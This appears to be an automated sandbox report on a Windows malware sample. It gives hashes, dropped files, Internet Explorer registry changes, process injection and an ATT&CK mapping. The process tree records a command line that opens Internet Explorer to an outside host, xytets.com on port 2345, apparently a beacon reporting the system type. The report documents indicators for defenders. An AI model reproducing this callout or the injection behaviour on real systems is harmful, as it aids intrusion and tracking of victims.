59b2da199ec5291d95059fa13898c45a727ba353afe2f842204b1b1ee7dbe1c9

General

Target

2d5813a52ed7f1abea030cfd59971ed8.exe
Size

361KB
MD5

2d5813a52ed7f1abea030cfd59971ed8
SHA1

7e9122adf50eed53b79da254f0a66eaaa3273d0c
SHA256

59b2da199ec5291d95059fa13898c45a727ba353afe2f842204b1b1ee7dbe1c9
SHA512

4dee1f7fbe5a312862982866d22b6d3f9e701b153e107ccd42f89533cc28b684b2393821bf6c0574262f53715539427949d15d4a8e9568906d51b7e141997313
SSDEEP

6144:QflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:QflfAsiVGjSGecvX

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
2644	ywrljdbvqoigavsn.exe

Loads dropped DLL 1 IoCs

pid	Process
2356	2d5813a52ed7f1abea030cfd59971ed8.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2736	2644	WerFault.exe	30

Modifies Internet Explorer settings 1 TTPs 18 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{48C7EB41-A5D3-11EE-8CEC-72515687562C} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe

Suspicious behavior: EnumeratesProcesses 35 IoCs

pid	Process
2356	2d5813a52ed7f1abea030cfd59971ed8.exe
2356	2d5813a52ed7f1abea030cfd59971ed8.exe
2356	2d5813a52ed7f1abea030cfd59971ed8.exe
2356	2d5813a52ed7f1abea030cfd59971ed8.exe
2356	2d5813a52ed7f1abea030cfd59971ed8.exe
2356	2d5813a52ed7f1abea030cfd59971ed8.exe
2356	2d5813a52ed7f1abea030cfd59971ed8.exe
2356	2d5813a52ed7f1abea030cfd59971ed8.exe
2356	2d5813a52ed7f1abea030cfd59971ed8.exe
2356	2d5813a52ed7f1abea030cfd59971ed8.exe
2356	2d5813a52ed7f1abea030cfd59971ed8.exe
2356	2d5813a52ed7f1abea030cfd59971ed8.exe
2356	2d5813a52ed7f1abea030cfd59971ed8.exe
2356	2d5813a52ed7f1abea030cfd59971ed8.exe
2356	2d5813a52ed7f1abea030cfd59971ed8.exe
2356	2d5813a52ed7f1abea030cfd59971ed8.exe
2356	2d5813a52ed7f1abea030cfd59971ed8.exe
2356	2d5813a52ed7f1abea030cfd59971ed8.exe
2356	2d5813a52ed7f1abea030cfd59971ed8.exe
2356	2d5813a52ed7f1abea030cfd59971ed8.exe
2356	2d5813a52ed7f1abea030cfd59971ed8.exe
2356	2d5813a52ed7f1abea030cfd59971ed8.exe
2356	2d5813a52ed7f1abea030cfd59971ed8.exe
2356	2d5813a52ed7f1abea030cfd59971ed8.exe
2356	2d5813a52ed7f1abea030cfd59971ed8.exe
2356	2d5813a52ed7f1abea030cfd59971ed8.exe
2356	2d5813a52ed7f1abea030cfd59971ed8.exe
2356	2d5813a52ed7f1abea030cfd59971ed8.exe
2644	ywrljdbvqoigavsn.exe
2644	ywrljdbvqoigavsn.exe
2644	ywrljdbvqoigavsn.exe
2644	ywrljdbvqoigavsn.exe
2644	ywrljdbvqoigavsn.exe
2644	ywrljdbvqoigavsn.exe
2644	ywrljdbvqoigavsn.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2988	iexplore.exe
2988	iexplore.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2356 wrote to memory of 2644	2356	2d5813a52ed7f1abea030cfd59971ed8.exe	30
PID 2356 wrote to memory of 2644	2356	2d5813a52ed7f1abea030cfd59971ed8.exe	30
PID 2356 wrote to memory of 2644	2356	2d5813a52ed7f1abea030cfd59971ed8.exe	30
PID 2356 wrote to memory of 2644	2356	2d5813a52ed7f1abea030cfd59971ed8.exe	30
PID 2356 wrote to memory of 2988	2356	2d5813a52ed7f1abea030cfd59971ed8.exe	28
PID 2356 wrote to memory of 2988	2356	2d5813a52ed7f1abea030cfd59971ed8.exe	28
PID 2356 wrote to memory of 2988	2356	2d5813a52ed7f1abea030cfd59971ed8.exe	28
PID 2356 wrote to memory of 2988	2356	2d5813a52ed7f1abea030cfd59971ed8.exe	28
PID 2988 wrote to memory of 2164	2988	iexplore.exe	29
PID 2988 wrote to memory of 2164	2988	iexplore.exe	29
PID 2988 wrote to memory of 2164	2988	iexplore.exe	29
PID 2988 wrote to memory of 2164	2988	iexplore.exe	29

C:\Users\Admin\AppData\Local\Temp\2d5813a52ed7f1abea030cfd59971ed8.exe
"C:\Users\Admin\AppData\Local\Temp\2d5813a52ed7f1abea030cfd59971ed8.exe"
1⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2356
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2988
- - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2988 CREDAT:275457 /prefetch:2
    3⤵
    PID:2164
- C:\Temp\ywrljdbvqoigavsn.exe
  C:\Temp\ywrljdbvqoigavsn.exe run
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:2644
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 192
    3⤵
    - Program crash
    PID:2736

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357

Filesize
1KB

MD5
a266bb7dcc38a562631361bbf61dd11b

SHA1
3b1efd3a66ea28b16697394703a72ca340a05bd5

SHA256
df545bf919a2439c36983b54cdfc903dfa4f37d3996d8d84b4c31eec6f3c163e

SHA512
0da8ef4f8f6ed3d16d2bc8eb816b9e6e1345dfe2d91160196c47e6149a1d6aedaafadcefd66acdea7f72dcf0832770192ceac15b0c559c4ccc2c0e5581d5aefc

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C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357

Filesize
242B

MD5
e000a77b263d069c71e6273d1e9e05f3

SHA1
47b1ebabfa80e14be6c4196931cda0560bcf1e70

SHA256
5220bba59f3cffa9d3c6b66a4474652c79f58f80c2b1e6f8e6e3857501ed3d6e

SHA512
ec4d9caaf1f0d18eaed19fb3e85f8f79186554bdaf8c93e8df690a58808812e0b7302a3c32e475a172899ff3373fb8621ae431e6a8358f6f150f854357e37441

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico

Filesize
4KB

MD5
da597791be3b6e732f0bc8b20e38ee62

SHA1
1125c45d285c360542027d7554a5c442288974de

SHA256
5b2c34b3c4e8dd898b664dba6c3786e2ff9869eff55d673aa48361f11325ed07

SHA512
d8dc8358727590a1ed74dc70356aedc0499552c2dc0cd4f7a01853dd85ceb3aead5fbdc7c75d7da36db6af2448ce5abdff64cebdca3533ecad953c061a9b338e

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar5B9E.tmp

Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

Download Submit
\Temp\ywrljdbvqoigavsn.exe

Filesize
361KB

MD5
c1ac328fd9819540c89d7c495ba661a5

SHA1
d30f8ea30f0a0a80bd3d259b8a1fa4cd8835666a

SHA256
53eb25560427e87ca100fb7559e7c99a363a2e5b8d62c791be0f798dc864ea0e

SHA512
6f49a3dd04b301f11ba5a33d86db0c0b4ad2905865d8a4df898b425194c47e0a7349e3f5aea19983ced4e3eeedab028eebdd6115ef4bca578497157fbfa99e09

Download Submit

Analysis

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